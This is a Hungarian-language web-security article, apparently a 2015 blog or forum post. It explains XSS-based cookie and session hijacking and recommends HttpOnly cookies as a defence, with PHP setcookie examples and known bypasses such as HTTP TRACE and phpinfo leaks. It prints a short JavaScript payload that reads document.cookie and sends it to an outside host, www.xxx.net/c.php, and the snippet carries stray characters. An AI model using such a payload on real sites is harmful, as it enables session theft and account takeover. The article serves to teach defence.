A www szolgáltatások megjelenésével egyre több alkalmazás vált B/S struktúrára, így egyetlen böngészővel számos webszolgáltatáshoz lehet hozzáférni, de ez egyre több webbiztonsági problémához is vezet. a www szolgáltatás a Http protokollra épül, a Http egy állapot nélküli protokoll, így az információk átadásához az ülések között elkerülhetetlen, hogy sütik, munkamenetek és más technológiák segítségével jelöljék meg a látogató állapotát, és legyen szó süti vagy ülés, általában sütikekkel valósítják meg (a Session valójában egy tokenrel van jelölve a böngésző sütijében, A szerver megszerzi ezt a tokent, ellenőrzi annak jogosságát, és a szerveren tárolt állapotot a böngészőhöz köti), így elkerülhetetlenül a sütikre koncentrál, és amíg ezt a sütit megszerzik, mások személyazonossága is megszerezhető, ami csodálatos dolog a betolakodók számára, különösen, ha a megszerzett süti egy magas privilegizációs személyé, például egy adminisztrátoré, a kár még nagyobb. Számos webbiztonsági probléma között az XSS sebezhetőség különösen veszélyes.
Az alkalmazások esetében, ha egyszer kialakul egy XSS sebezhetőség, az azt jelenti, hogy mások tetszőleges JS szkripteket futtathatnak a böngésződben, és ha az alkalmazás nyílt forráskódú vagy a funkciók nyilvánosak, mások az Ajax-ot használhatják ezekhez a funkciókhoz, de a folyamat gyakran nehézkes, különösen, ha közvetlenül szeretnéd megszerezni valaki más személyazonosságát a laza böngészéshez. Nem nyílt forráskódú alkalmazásoknál, például néhány nagy oldal webes hátterében (a web2.0 egyik jelentős jellemzője a sok interakció, a felhasználóknak gyakran a háttérben kell kapcsolatba lépniük az adminisztrátorokkal, például hibajelentések vagy információadás stb.), bár előfordulhatnak az interakció létezése miatt cross-site szkript-sebezhetőségek, de a háttér hiánya miatt lehetetlen tökéletes ajax kódot készíteni, még akkor is, ha a js-t lehet használni a háttérkód megszerzésére és elemzésre visszaküldésére, de a folyamat is nehézkes és nem rejtett. Jelenleg nagyon hatékony az xss sebezhetőséget felhasználni sütik vagy ülésfoglalás esetén, kifejezetten az alkalmazás hitelesítésének elemzésére, majd bizonyos technikák alkalmazására, sőt véglegesen megszerezni a másik fél személyazonosságát akkor is, ha a másik fél kilép a programból.
Szóval hogyan lehet sütit vagy session eltérítést elérni? A böngészőben a dokumentumobjektumban tárolják a cookie adatait, és a süti a js használatával vissza lehet szerezni; amennyiben megkapod ezt a sütit, megkaphatod valaki más személyazonosságát. Egy tipikus XSS támadási állítás a következő:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Néhány alkalmazás böngésző-kötési technikákat alkalmazhat ennek a problémának a kezelésére, például a cookie-k kötése a böngésző felhasználói ügynökéhez, és a süti érvénytelennek tekinthető, ha felfedezik. Ez a módszer hatástalannak bizonyult, mert amikor a betolakodó ellopja a sütit, akkor egyszerre kellett megszereznie a Felhasználó-ügynököt. Van egy másik szigorú szabály is, amely a sütiket a Remote-addr-hez köti (valójában IP-hez van kötve, de néhány programnak problémái vannak az IP megszerzési módszerével, ami szintén megtakarításhoz vezet), de ez nagyon rossz felhasználói élményt eredményez, az IP változtatás gyakori, például a munka és az otthon két IP-, így ezt a módszert gyakran nem alkalmazzák. Ezért a cookie-alapú támadások ma nagyon népszerűek, és néhány web-2.0 oldalon könnyű megszerezni az alkalmazás adminisztrátori státuszát.
Hogyan tartjuk biztonságban az érzékeny sütit? A fenti elemzés révén általános sütikeket szereznek dokumentumobjektumokból, és csak az érzékeny sütiket láthatatlanná kell tennünk a böngésző dokumentumban. Szerencsére a böngészők általában elfogadnak egy HttpOnly nevű paramétert a sütik beállításakor, akárcsak más paraméterek, például a domain, és ha ez a HttpOnly beállított, nem látod a sütit a böngésző dokumentumobjektumában, és a böngésző semmilyen módon nem érinti böngészéskor, mert a süti a böngésző fejlécében (beleértve az ajaxot is) küldi el. Az alkalmazások általában nem használják ezeket az érzékeny sütiket js-ben, néhány érzékeny süti esetén HttpOnly rendszert használunk, és nem állítunk be olyan sütit, amelyeket js-vel kell kezelni az alkalmazásban, ami biztosítja a cookie-információk biztonságát és az alkalmazás működését. További információért a HttpOnly-ről lásd: http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
A böngészőben a cookie-k beállításának fejléce a következő:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Például a php-t vezessük, a Setcookie funkcióhoz hozzáadták a HttpOnly támogatását a php 5.2-ben, például:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Az abc sütit csak HttpOnly-re állíthatod, de a dokumentum nem lesz látható ebben a süti számára. Mivel a setcookie függvény lényegében fejléc, a fejlécével HttpOnly beállításra is használhatod. Ezután használd a document.cookie oldalt, hogy lásd, ez a süti már nem elérhető. Ezt a módszert a Sessionid védelmére használjuk, például néhány auth-cookie-t hitelesítéshez, így nem kell aggódnunk az azonosítás miatt, ami nagy jelentőséggel bír néhány háttérprogram és webmail számára a biztonság javítása érdekében. Amikor újra alkalmazzuk a fenti támadási módszert, látjuk, hogy már nem tudjuk olyan érzékeny sütiket szerezni, amelyeket csak HttpOnly-ként állítottunk be.
Ugyanakkor látható, hogy a HttpOnly nem mindenható, először is, nem tudja megoldani az xss problémáját, még mindig nem tud ellenállni néhány türelmes hacker támadásának, és nem tudja megakadályozni a betolakodókat ajax beküldésekben, sőt néhány xss-alapú proxy is megjelent, de sikerült emelni a támadások küszöbértékét, legalább az xss támadásokat nem teljesíti minden script kid, és más támadási módszerek környezeti és technikai korlátok miatt alakulnak ki. Ez nem olyan gyakori, mint a süteménylopás.
A HttpOnly képes kihasználni bizonyos sebezhetőségeket vagy konfigurálni a Bypass-t, a fő probléma az, hogy amíg a cookie fejlécet a böngésző küldi. Például az előző Http Trace támadás visszaadja a fejlécben lévő cookie-t, és ezt a támadást Ajax vagy Flash használatával lehet végrehajtani, amelyet szintén az ajax és flash verzióban is javítottak. Egy másik figyelemre méltó példa a konfiguráció vagy alkalmazás lehetséges kikerülésére a phpinfo, ahogy tudod, a phpinfo megjeleníti a böngésző által küldött HTTP fejlécet, beleértve az általunk védett hitelesítési információkat is, és ez az oldal gyakran létezik különböző oldalakon, amíg az ajax-szal megkapod a phpinfo oldalt, és kiveszed a fejléchez tartozó részt a süti eléréséhez. Egyes alkalmazásokban a hibák fejlécek szivárgásához is vezethetnek, amit ugyanolyan támadás is okozhat, mint egy alap ellenőrzéssel védett oldalt.
A HttpOnly jobban támogatott az IE 6-tól annál magasabb verziókban, széles körben használják olyan alkalmazásokban, mint a Hotmail, és viszonylag jó biztonsági eredményeket ért el.
|
Közzétéve 2015. 06. 03. 20:57:48
|
|
|
